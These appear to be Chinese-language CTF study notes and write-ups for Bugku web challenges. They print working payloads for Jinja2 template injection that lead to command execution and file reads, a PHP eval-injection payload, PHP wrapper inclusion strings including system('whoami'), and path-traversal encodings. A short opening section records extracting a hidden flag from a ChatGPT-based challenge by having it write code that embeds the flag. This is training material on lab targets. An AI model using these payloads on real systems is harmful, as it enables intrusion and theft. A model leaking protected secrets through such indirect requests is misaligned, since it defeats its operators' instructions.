# MISC

# chatgpt-1

本题是在研究chatgpt的灵光乍现。 也算是对AI安全性的一种测试。 由于是基于AI的,所以难度不能保证每个人一致但总体不会相差过大。 做题需要自备ApiKey(平台承诺不会窃取任何用户的ApiKey),介意勿开

建立环境后,直接尝试让AI告诉我们flag file

这样看来,题目可能给出了不要告诉用户flag之类的prompt 那么换个方向,chatgpt本身知道flag,但是不能直接告诉我们,我们可以让chatgpt教我们写代码,然后在代码里面chatgpt会把flag设置为常量

file

# Web

# php

# "=="与is_numeric()

php中,==与===的区别:

  • === 会同时比较字符串的值和类型
  • == 会先将字符串换成相同类型,再作比较,属于弱类型比较
  • == 对于所有0e开头的都为相等

弱类型比较示例:

var_dump("admin"==0);  // true
var_dump("1admin"==1); // true
var_dump("2admin"==2); // true
var_dump("ad1min"==1); // false
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump(0e1234 == 0e56789); // true

php的is_numeric()函数,判断参数是否为数字或数字字符串 is_numeric()可以用%00和%20绕过,%00无论位于数字前后都返回False,%20位于数字后时返回False

# Bugku 矛盾

题目代码

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

# SSTI

SSTI(模板注入)漏洞(入门篇)

# Bugku Simple_SSTI_1

启动场景,题目提示输入flag作为参数

file

随便设置一个flag,然后结果是把内容原样输出了一次

file

顺便在F12里可以看到题目的后端是Python写的,然后这个Werkzeug可以查到是Flask框架里面的一个组件

file

接下来尝试一下模板注入,分别将flag设置为{{2*2}}和{{1+1}}

file

file

在flag={{1+1}}的时候报错了,并且会输出整个调用栈,其中可以看到部分函数代码 file 由此可以确定服务器后端是Flask框架编写的

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等 首先通过对象的__class__属性获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类

尝试flag={{().__class__.__bases__[0].__subclasses__()}} 可以获取到object的所有子类 file

可以用__init__.__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等) python3中的int(),eval()这些函数,都可以在__builtins__中找到

通过下面的代码,找出__globals__中含有__builtins__的类

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try: # __init__.__globals__属性不一定每个类都有
        print(i.__init__.__globals__.keys())
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

file

然后搜索这个类名 file 这个类是列表的第76个元素,直接通过索引引用

尝试调用os.listdir() flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'%27']['eval']('__import__("os").listdir()')}} file

读取源代码文件 flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('open("app.py").read()')}}

file

从第5行可以看到,flag是通过subprocess.getoutput('echo $FLAG')读取的 构造同样的eval('__import__("subprocess").getoutput("echo $FLAG")')

flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("subprocess").getoutput("echo $FLAG")')}}

file

当然在这道题中,从源代码得知flag也被存放到了app.config['SECRET_KEY']中,直接读取config也可以拿到flag file

# Bugku Simple_SSTI_2

按照Simple_SSTI_1中的方法,首先拿到页面的源代码 file

第5行可以看到,这里的echo $FLAG > flag把flag写到了文件flag中

通过__import__("os").listdir()可以看到当前目录下存在flag文件 file

直接读取文件内容得到flag file

# 变量注入

类似下面的php代码

<?php
$a = $_GET['a'];
eval("var_dump($a);");
?>

变量$a在输入的时候没有做严格过滤,可能存在手动闭合实现任意代码注入

php单双引号区别:

  • 双引号里面的字段会经过编译器解释,然后再当作HTML代码输出
  • 单引号里面的字段不进行解释,会直接输出

双引号里面插入变量,变量后面如果有英文或中文字符,它会把这个字符和变量拼接起来,视为一整个变量 因此,对于这里的eval函数的参数字符串"var_dump($a);",假设$a="abc",那么eval执行的实际参数是"var_dump(abc);"

file file

# Bugku eval

访问,看到以下源代码

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

该页面引用了flag.php,所以flag应该就写在这个文件里面,并且页面接收一个参数hello,然后在下面用eval("var_dump()")的方式将变量输出 很明显hello没有经过任何过滤,因此可以手动闭合eval中的var_dump()函数,然后构造一个读取flag.php的代码

eval( "var_dump($a);"); //原始代码
eval( "var_dump(abc);show_source('flag.php');var_dump();"); //目标代码

最终的payload为?hello=abc);show_source('flag.php');var_dump( file

# 超级全局变量

php超级全局变量

有时候可以通过超级全局变量拿到一些隐藏变量值

# Bugku 变量1

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?> 

页面接收输入参数args,用正则表达式^\w+$匹配,匹配成功则打印变量$$args,即输入的参数是需要打印的变量名 正则\w等同于[a-zA-Z0-9_],特殊符号只能使用下划线,所以无法手动闭合eval的内容

尝试查看全局变量$GLOBALS,args=GLOBALS file

直接拿到flag

# 文件包含

php文件包含漏洞详解

# php伪协议

php://input 需要参数allow_url_include = On 将php代码放在POST请求体中传入

index.php
?file=php://input

POST:
<? phpinfo();?>

php://filter 通过指定末尾的文件,可以读取经base64加密后的文件源码

php://filter/read=convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php

phar:// 需要php版本>=5.3.0 假设有文件phpinfo.txt,内容为<?php phpinfo(); ?>,打包为压缩包test.zip 可以指定绝对路径或相对路径

phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
phar://test.zip/phpinfo.txt

zip:// 需要php版本>=5.3.0 zip压缩包同phar,但是只能指定绝对路径,并且将#编码为%23

zip://D:/phpStudy/WWW/fileinclude/test.zip%23phpinfo.txt

data:URI schema 需要php版本>=5.2,allow_url_fopen = On,allow_url_include = On

data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system('whoami');?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

# 目录遍历

利用../来遍历目录,比如

file=../../log/test.txt

服务器通常会对../进行过滤,可以用其他编码绕过

  • URL编码(\对应%5c)
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • 二次编码
    • %252e%252e%252f

# 长度截断

需要php版本<=5.2.8 Windows下长度限制为256字节,Linux下为4096字节 利用不断重复./来截断

# 0字节截断

需要php版本<=5.3.4 利用%00字节截断